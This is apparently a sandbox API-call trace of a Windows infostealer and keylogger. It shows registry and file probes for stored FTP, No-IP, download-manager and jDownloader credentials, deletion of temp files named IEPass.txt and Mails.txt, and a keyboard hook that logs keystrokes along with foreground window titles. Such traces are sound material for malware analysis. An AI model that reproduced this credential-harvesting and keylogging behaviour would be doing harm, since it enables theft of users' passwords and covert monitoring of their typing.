rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e628, pExcepInfo=0x26e4b8, puArgErr=0x26e558 | out: pDispParams=0x26e65c*(rgvarg=([0]=0x26e5e0*(varType=0x4008, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x26e5b0*="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString", varVal2=0x74278ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e628*(varType=0x0, wReserved1=0x26, wReserved2=0x537b, wReserved3=0x7400, varVal1=0x80070002, varVal2=0x7e2ac7f0), pExcepInfo=0x26e4b8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070002), puArgErr=0x26e558*=0x26e5a8) returned 0x80020009 [0066.272] SysStringLen (param_1="Invalid root in registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString\".") returned 0x84 [0066.272] SysStringLen (param_1="WshShell.RegRead") returned 0x10 [0066.274] WshShell:IUnknown:Release (This=0x3dff88) returned 0x1 [0066.275] GetFullPathNameW (in: lpFileName="Ftplist.txt", nBufferLength=0x105, lpBuffer=0x26e5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ftplist.txt", lpFilePart=0x0) returned 0x31 [0066.275] GetLastError () returned 0x0 [0066.275] SetErrorMode (uMode=0x1) returned 0x0 [0066.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ftplist.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ftplist.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea30 | out: lpFileInformation=0x26ea30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.275] GetLastError () returned 0x2 [0066.275] SetErrorMode (uMode=0x0) returned 0x1 [0066.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e9d8 | out: phkResult=0x26e9d8*=0x0) returned 0x2 [0066.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e9d8 | out: phkResult=0x26e9d8*=0x0) returned 0x2 [0066.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e9d8 | out: phkResult=0x26e9d8*=0x0) returned 0x2 [0066.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Vitalwerks\\DUC", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e9d8 | out: phkResult=0x26e9d8*=0x0) returned 0x2 [0066.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\DownloadManager\\Passwords", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e9e8 | out: phkResult=0x26e9e8*=0x0) returned 0x2 [0066.327] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\jDownloader\\config\\database.script", nBufferLength=0x105, lpBuffer=0x26e584, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\jDownloader\\config\\database.script", lpFilePart=0x0) returned 0x39 [0066.327] GetLastError () returned 0x2 [0066.327] SetErrorMode (uMode=0x1) returned 0x0 [0066.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\jDownloader\\config\\database.script" (normalized: "c:\\program files (x86)\\jdownloader\\config\\database.script"), fInfoLevelId=0x0, lpFileInformation=0x26ea04 | out: lpFileInformation=0x26ea04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.327] GetLastError () returned 0x3 [0066.327] SetErrorMode (uMode=0x0) returned 0x1 [0066.328] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0066.328] GetLastError () returned 0x3 [0066.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0066.328] GetLastError () returned 0x3 [0066.328] SetErrorMode (uMode=0x1) returned 0x0 [0066.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea68 | out: lpFileInformation=0x26ea68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1310bb0, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xf1310bb0, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xf1336d10, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x1db)) returned 1 [0066.328] GetLastError () returned 0x3 [0066.328] SetErrorMode (uMode=0x0) returned 0x1 [0066.329] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0066.329] GetLastError () returned 0x3 [0066.329] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5cc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0066.329] GetLastError () returned 0x3 [0066.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e5f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0066.329] GetLastError () returned 0x3 [0066.332] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt")) returned 1 [0066.333] GetLastError () returned 0x3 [0066.333] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0066.333] GetLastError () returned 0x3 [0066.333] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0066.334] GetLastError () returned 0x3 [0066.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Explorer.txt", nBufferLength=0x105, lpBuffer=0x26e5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Explorer.txt", lpFilePart=0x0) returned 0x3d [0066.334] GetLastError () returned 0x3 [0066.334] SetErrorMode (uMode=0x1) returned 0x0 [0066.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Explorer.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\explorer.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea68 | out: lpFileInformation=0x26ea68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.334] GetLastError () returned 0x2 [0066.334] SetErrorMode (uMode=0x0) returned 0x1 [0066.334] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0066.334] GetLastError () returned 0x2 [0066.334] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0066.335] GetLastError () returned 0x2 [0066.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", nBufferLength=0x105, lpBuffer=0x26e5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", lpFilePart=0x0) returned 0x3b [0066.335] GetLastError () returned 0x2 [0066.335] SetErrorMode (uMode=0x1) returned 0x0 [0066.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iepass.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea68 | out: lpFileInformation=0x26ea68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed259590, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xed259590, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xed27f6f0, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x185)) returned 1 [0066.335] GetLastError () returned 0x2 [0066.335] SetErrorMode (uMode=0x0) returned 0x1 [0066.335] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0066.335] GetLastError () returned 0x2 [0066.335] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5cc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0066.335] GetLastError () returned 0x2 [0066.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", nBufferLength=0x105, lpBuffer=0x26e5f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", lpFilePart=0x0) returned 0x3b [0066.335] GetLastError () returned 0x2 [0066.335] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iepass.txt")) returned 1 [0066.336] GetLastError () returned 0x2 [0066.337] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc059 [0066.338] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc135 [0066.338] GetSystemMetrics (nIndex=75) returned 1 [0066.342] GetStockObject (i=5) returned 0x1900015 [0066.342] GetLastError () returned 0x2 [0066.343] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0066.343] CoTaskMemAlloc (cb=0x4c) returned 0x7be390 [0066.343] RegisterClassW (lpWndClass=0x787838) returned 0xc138 [0066.343] GetLastError () returned 0x2 [0066.343] CoTaskMemFree (pv=0x7be390) [0066.344] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0066.344] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x601b4 [0066.345] SetWindowLongW (hWnd=0x601b4, nIndex=-4, dwNewLong=1997940189) returned 34805642 [0066.345] GetWindowLongW (hWnd=0x601b4, nIndex=-4) returned 1997940189 [0066.345] SetWindowLongW (hWnd=0x601b4, nIndex=-4, dwNewLong=34805690) returned 1997940189 [0066.346] GetWindowLongW (hWnd=0x601b4, nIndex=-4) returned 34805690 [0066.346] GetWindowLongW (hWnd=0x601b4, nIndex=-16) returned 113311744 [0066.346] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc139 [0066.346] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x601b4, Msg=0x24, wParam=0x0, lParam=0x26eb24) returned 0x0 [0066.346] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x601b4, Msg=0x81, wParam=0x0, lParam=0x26eb18) returned 0x1 [0066.346] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x601b4, Msg=0x83, wParam=0x0, lParam=0x26eb04) returned 0x0 [0066.347] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x601b4, Msg=0x1, wParam=0x0, lParam=0x26eb18) returned 0x0 [0066.348] GetClientRect (in: hWnd=0x601b4, lpRect=0x26e894 | out: lpRect=0x26e894) returned 1 [0066.348] GetWindowRect (in: hWnd=0x601b4, lpRect=0x26e894 | out: lpRect=0x26e894) returned 1 [0066.348] GetLastError () returned 0x2 [0066.348] GetParent (hWnd=0x601b4) returned 0x0 [0066.349] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x26f188 | out: lplpMessageFilter=0x26f188*=0x0) returned 0x0 [0066.350] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0066.350] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0066.351] WaitMessage () returned 1 [0066.930] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0066.930] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0066.930] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0066.930] WaitMessage () returned 1 [0073.306] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.360] GetForegroundWindow () returned 0x101ac [0073.361] GetLastError () returned 0x0 [0073.362] GetWindowTextA (in: hWnd=0x101ac, lpString=0x26ec64, nMaxCount=100 | out: lpString="Johnson") returned 7 [0073.363] GetLastError () returned 0x0 [0073.363] GetForegroundWindow () returned 0x101ac [0073.363] GetLastError () returned 0x0 [0073.363] GetWindowTextA (in: hWnd=0x101ac, lpString=0x26ec64, nMaxCount=100 | out: lpString="Johnson") returned 7 [0073.363] GetLastError () returned 0x0 [0073.364] GetForegroundWindow () returned 0x101ac [0073.364] GetLastError () returned 0x0 [0073.364] GetWindowTextA (in: hWnd=0x101ac, lpString=0x26ec64, nMaxCount=100 | out: lpString="Johnson") returned 7 [0073.364] GetLastError () returned 0x0 [0073.365] GetKeyState (nVirtKey=16) returned 0 [0073.365] GetKeyState (nVirtKey=17) returned 0 [0073.365] GetKeyState (nVirtKey=18) returned 0 [0073.365] GetKeyState (nVirtKey=16) returned 0 [0073.365] GetKeyState (nVirtKey=17) returned 0 [0073.365] GetKeyState (nVirtKey=18) returned 0 [0073.366] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x26f04c) returned 0x0 [0073.369] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.369] GetForegroundWindow () returned 0x101ac [0073.369] GetLastError () returned 0x0 [0073.369] GetWindowTextA (in: hWnd=0x101ac, lpString=0x26ec64, nMaxCount=100 | out: lpString="Johnson") returned 7 [0073.369] GetLastError () returned 0x0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.370] GetKeyState (nVirtKey=20) returned 0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.370] GetKeyState (nVirtKey=20) returned 0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.370] GetKeyState (nVirtKey=20) returned 0 [0073.370] GetKeyState (nVirtKey=16) returned 0 [0073.370] GetKeyState (nVirtKey=17) returned 0 [0073.370] GetKeyState (nVirtKey=18) returned 0 [0073.371] GetKeyboardState (in: lpKeyState=0x26a5304 | out: lpKeyState=0x26a5304) returned 1 [0073.373] MapVirtualKeyA (uCode=0x44, uMapType=0x0) returned 0x20 [0073.373] GetForegroundWindow () returned 0x100f8 [0073.373] GetLastError () returned 0x0 [0073.374] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x26eed8 | out: lpdwProcessId=0x26eed8) returned 0x460 [0073.374] GetLastError () returned 0x0 [0073.375] GetKeyboardLayout (idThread=0x460) returned 0x4090409 [0073.376] GetLastError () returned 0x0 [0073.377] ToUnicodeEx (in: wVirtKey=0x44, wScanCode=0x20, lpKeyState=0x26a5304, pwszBuff=0x787838, cchBuff=5, wFlags=0x0, dwhkl=0x4090409 | out: pwszBuff="d") returned 1 [0073.377] GetLastError () returned 0x0 [0073.377] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x26f04c) returned 0x0 [0073.380] WaitMessage () returned 1 [0073.380] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.456] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x26f04c) returned 0x0 [0073.457] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.457] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x26f04c) returned 0x0 [0073.457] WaitMessage () returned 1 [0073.457] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.457] GetForegroundWindow () returned 0x701ae [0073.457] GetLastError () returned 0x0 [0073.457] GetWindowTextA (in: hWnd=0x701ae, lpString=0x26ec64, nMaxCount=100 | out: lpString="") returned 0 [0073.457] GetLastError () returned 0x0 [0073.457] GetForegroundWindow () returned 0x701ae [0073.457] GetLastError () returned 0x0 [0073.457] GetWindowTextA (in: hWnd=0x701ae, lpString=0x26ec64, nMaxCount=100 | out: lpString="") returned 0 [0073.457] GetLastError () returned 0x0 [0073.458] GetForegroundWindow () returned 0x701ae [0073.458] GetLastError () returned 0x0 [0073.458] GetWindowTextA (in: hWnd=0x701ae, lpString=0x26ec64, nMaxCount=100 | out: lpString="") returned 0 [0073.458] GetLastError () returned 0x0 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyState (nVirtKey=20) returned 0 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyState (nVirtKey=20) returned 0 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyState (nVirtKey=20) returned 0 [0073.458] GetKeyState (nVirtKey=16) returned 0 [0073.458] GetKeyState (nVirtKey=17) returned 0 [0073.458] GetKeyState (nVirtKey=18) returned -127 [0073.458] GetKeyboardState (in: lpKeyState=0x26a6840 | out: lpKeyState=0x26a6840) returned 1 [0073.458] MapVirtualKeyA (uCode=0xa4, uMapType=0x0) returned 0x38 [0073.458] GetForegroundWindow () returned 0x701ae [0073.458] GetLastError () returned 0x0 [0073.459] GetWindowThreadProcessId (in: hWnd=0x701ae, lpdwProcessId=0x26eed8 | out: lpdwProcessId=0x26eed8) returned 0x460 [0073.459] GetLastError () returned 0x0 [0073.459] GetKeyboardLayout (idThread=0x460) returned 0x4090409 [0073.459] GetLastError () returned 0x0 [0073.459] ToUnicodeEx (in: wVirtKey=0xa4, wScanCode=0x38, lpKeyState=0x26a6840, pwszBuff=0x787838, cchBuff=5, wFlags=0x0, dwhkl=0x4090409 | out: pwszBuff="") returned 0 [0073.459] GetLastError () returned 0x0 [0073.459] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x104, lParam=0x26f04c) returned 0x0 [0073.469] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.469] GetForegroundWindow () returned 0x100f8 [0073.469] GetLastError () returned 0x0 [0073.469] GetWindowTextA (in: hWnd=0x100f8, lpString=0x26ec64, nMaxCount=100 | out: lpString="FolderView") returned 10 [0073.469] GetLastError () returned 0x0 [0073.469] GetForegroundWindow () returned 0x701ae [0073.469] GetLastError () returned 0x0 [0073.470] GetWindowTextA (in: hWnd=0x701ae, lpString=0x26ec64, nMaxCount=100 | out: lpString="") returned 0 [0073.470] GetLastError () returned 0x0 [0073.470] GetForegroundWindow () returned 0x701ae [0073.470] GetLastError () returned 0x0 [0073.470] GetWindowTextA (in: hWnd=0x701ae, lpString=0x26ec64, nMaxCount=100 | out: lpString="") returned 0 [0073.470] GetLastError () returned 0x0 [0073.470] GetKeyState (nVirtKey=16) returned 0 [0073.470] GetKeyState (nVirtKey=17) returned 0 [0073.470] GetKeyState (nVirtKey=18) returned -127 [0073.470] GetKeyState (nVirtKey=16) returned 0 [0073.470] GetKeyState (nVirtKey=17) returned 0 [0073.470] GetKeyState (nVirtKey=18) returned -127 [0073.470] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x104, lParam=0x26f04c) returned 0x0 [0073.471] WaitMessage () returned 1 [0073.482] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.484] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x105, lParam=0x26f04c) returned 0x0 [0073.484] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.484] WaitMessage () returned 1 [0073.490] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.491] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x26f04c) returned 0x0 [0073.494] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.494] WaitMessage () returned 1 [0073.566] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.567] GetForegroundWindow () returned 0x50124 [0073.567] GetLastError () returned 0x0 [0073.567] GetWindowTextA (in: hWnd=0x50124, lpString=0x26ec64, nMaxCount=100 | out: lpString="Shut Down Windows") returned 17 [0073.567] GetLastError () returned 0x0 [0073.567] GetForegroundWindow () returned 0x50124 [0073.567] GetLastError () returned 0x0 [0073.567] GetWindowTextA (in: hWnd=0x50124, lpString=0x26ec64, nMaxCount=100 | out: lpString="Shut Down Windows") returned 17 [0073.567] GetLastError () returned 0x0 [0073.567] GetForegroundWindow () returned 0x50124 [0073.567] GetLastError () returned 0x0 [0073.567] GetWindowTextA (in: hWnd=0x50124, lpString=0x26ec64, nMaxCount=100 | out: lpString="Shut Down Windows") returned 17 [0073.567] GetLastError () returned 0x0 [0073.567] GetKeyState (nVirtKey=16) returned 0 [0073.567] GetKeyState (nVirtKey=17) returned 0 [0073.567] GetKeyState (nVirtKey=18) returned 1 [0073.567] GetKeyState (nVirtKey=16) returned 0 [0073.567] GetKeyState (nVirtKey=17) returned 0 [0073.567] GetKeyState (nVirtKey=18) returned 1 [0073.567] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x26f04c) returned 0x0 [0073.570] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.570] WaitMessage () returned 1 [0073.574] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.574] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x101, lParam=0x26f04c) returned 0x0 [0073.574] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.574] WaitMessage () returned 1 [0073.586] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.586] GetForegroundWindow () returned 0x50124 [0073.586] GetLastError () returned 0x0 [0073.586] GetWindowTextA (in: hWnd=0x50124, lpString=0x26ec64, nMaxCount=100 | out: lpString="Shut Down Windows") returned 17 [0073.586] GetLastError () returned 0x0 [0073.586] GetKeyState (nVirtKey=16) returned 0 [0073.586] GetKeyState (nVirtKey=17) returned 0 [0073.586] GetKeyState (nVirtKey=18) returned 1 [0073.586] GetKeyState (nVirtKey=16) returned 0 [0073.586] GetKeyState (nVirtKey=17) returned 0 [0073.586] GetKeyState (nVirtKey=18) returned 1 [0073.587] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x26f04c) returned 0x0 [0073.588] PeekMessageW (in: lpMsg=0x26f160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x26f160) returned 0 [0073.588] WaitMessage () returned 1 [0073.594] 